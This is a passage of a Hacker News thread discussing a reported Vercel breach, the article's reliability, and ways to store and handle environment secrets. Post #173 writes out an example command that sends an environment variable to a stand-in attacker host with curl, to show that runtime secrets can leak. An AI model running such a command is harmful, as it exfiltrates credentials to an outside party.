Live data from Hacker News

A Roblox cheat and one AI tool brought down Vercel's platform

webmatrices.com

171–180 of 186 posts

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#171

Convenience is our Achilles heel, as a society. We'll keep dangerous devices like the SuperBox in our homes, if it helps us get access to free movies and tv. We'll use single-use plastics, even if we know they're bad for the environment, because they're just so damn easy. We'll let AI run that thing for us, because it's just too easy. A whole generation has grown up without knowing what it was like to infect your com…

just because there's a chance of something bad happening doesn't mean its worth it to abandon all convenience and workflow improvements, though. if no one ever used workflow tools that could access the contents of their emails because of the risk of a leak, its possible the productivity loss across society from that would be much worse than from the security incidents (like this one). there are pros and cons to things. it's not wrong to choose something just because it has a small risk associated with it.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#172
post #5

This looks really really AI-generated even if the author did try to hide it by making some grammar elements improper. Idk if that diminishes it's accuracy though.

I had to stop reading. I have become overly sensitive to LLMisms. This is definitely "ChatGPT, read this article and rewrite it in a casual tone" with little to no actual authorship. On HN we should try to get primary sources for this sort of thing.

my first rule of HN is to check the comments first, article second.

after seeing these comments, i just had to see for myself... and i couldn't even make it through the first section of the article.

> On HN we should try to get primary sources for this sort of thing.

+10000

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#173

Earlier quoted context omitted.

How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them. What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?

Yeah that's a good point. Dotenvx seems to claim a solution but I'm not smart enough to make sense of it. However I do feel now like my sensitive things are better off deployed on a VPS where someone would need a ssh exploit to come at me.

Creator of dotenvx here.

There is no silver bullet, but Dotenvx splits your secrets into two separate locations.

1. The private decryption key - which lives on Vercel in this example 2. The encrypted .env file which lives in your source code pushed to Vercel

Attackers only got access to the first (as far as I know was reported). So your secrets would be safe in this attack if using Dotenvx. (A private key is useless without its corresponding encrypted .env file. Attackers need both.)

The whitepaper goes into the problem and solution in more detail: https://dotenvx.com/whitepaper.pdf

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#174
post #35

Earlier quoted context omitted.

Yeah that's a good point. Dotenvx seems to claim a solution but I'm not smart enough to make sense of it. However I do feel now like my sensitive things are better off deployed on a VPS where someone would need a ssh exploit to come at me.

dotenvx is a way to encrypt your secrets at rest. It's kinda like sops but not as good. https://getsops.io/ Notice how their tutorial says "run 'dotenvx run -- yourapp'". If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext, at runtime, since they're just encrypted at rest. The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption…

> If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext

Same for sops.

> The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend

The encrypted .env file is actually committed to source code, and the decryption key is placed in Vercel's environment variables dashboard. The attacker only gained access to the latter here if using dotenvx so they can't get your secrets. Unless they also gained access to the codebase in which they have terabytes of data to go through and match up private keys from the database with encrypted .env files from the source code exfiltration - much more effort for attackers.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#175
post #110

Earlier quoted context omitted.

Do we actually know the employee downloaded it on their work machine? At least this article doesn't say that (and I couldn't find it in other sources as well). Plenty of companies allow you to VPN into corporate network, or log into certain internal systems from the public Internet. Not saying they should, but it is much more common than you think. For reference, look at how Disney got hacked. One employee downloaded…

Actually, you are right to question this. TFA mentions a MicroTrend report [1] as his source, but that report doesn't mention Roblox cheats and more interestingly says that Context.ai employee machine was compromised 22 months ago, in 2024! While TFA says February 2026. This details makes me doubt about the whole article [1] https://www.trendmicro.com/en_us/research/26/d/vercel-breach...

It does mention "Roblox game exploit scripts" which is basically the same thing.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#176

Earlier quoted context omitted.

Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.

It seems only encrypt and throw away the key would be the acceptable strategy

Then you might aswell write them to /dev/null. Safer, has the same effect and faster.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#177
post #141

Earlier quoted context omitted.

But the encrypted API key doesn't work, it needs to be decrypted first. Let's give the server access to the private key so it can decrypt the API key. We can do this by putting the private key in an env var. But now the private key is unencrypted. Ah, it doesn't work.

You’re thinking too much. When you run the app, the system decrypts the secrets and makes them available as env vars (or some other mechanism). In an admin ui, you list the names of secrets only, and provide a “reveal” or a “replace” on each one. They are never decrypted unless explicitly asked for. Is this perfect? Absolutely not. The key is controlled by the company, but it can be derived in a manner that doesn’t a…

My gripe is that, if some additional authentication is then not required for deployments or SSH access, that whoever has access to the admin UI will still be able to access the box and extract all secrets, just with extra steps. There's usually no real security boundary between "admin UI controls the box" and "box requires secrets in plain text".

I still like the approach, but I'm afraid that it feels more secure than it is, and people should be aware of that.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#178
post #141

Earlier quoted context omitted.

You’re thinking too much. When you run the app, the system decrypts the secrets and makes them available as env vars (or some other mechanism). In an admin ui, you list the names of secrets only, and provide a “reveal” or a “replace” on each one. They are never decrypted unless explicitly asked for. Is this perfect? Absolutely not. The key is controlled by the company, but it can be derived in a manner that doesn’t a…

My gripe is that, if some additional authentication is then not required for deployments or SSH access, that whoever has access to the admin UI will still be able to access the box and extract all secrets, just with extra steps. There's usually no real security boundary between "admin UI controls the box" and "box requires secrets in plain text". I still like the approach, but I'm afraid that it feels more secure tha…

It’s absolute baseline, but yes, it relies entirely on the platform’s permissions model, the administrator who assigns permissions, and the application authors to not create vectors for env var dumps. :)

But honestly, if you’re in the container, and the application running in the container can get secrets, so can a shell user.

_Maybe_ there’s a model where the platform exposes a Unix domain socket and checks the PID, user, group of the connection, and delivers secrets that way? This has its problems, too, like it being non-standard, only possible in some scenarios and otherwise fallible… but better than nothing? If you reap the container when that process dies, you can’t race for the same PID, at least. I dunno

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#179
post #117

Earlier quoted context omitted.

You can proxy the UNIX socket to a network server if you want to. You can even use SSL encryption at all times too.

Once it's networked you lose the "whitelist of systemd services" and it's then no different from any networked secret store.

No, this is a solved problem: https://spiffe.io/

You can do service attestation securely, even for networked services.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#180

Earlier quoted context omitted.

That just means you outsourced the `sudo` invocations to some other person. (Which is even worse.)

No, it means I understand how Unix permissions work.

Glib response, but in reality you basically cannot do anything in a modern Linux system without root except read and write files in your home directory.
Post reply on HN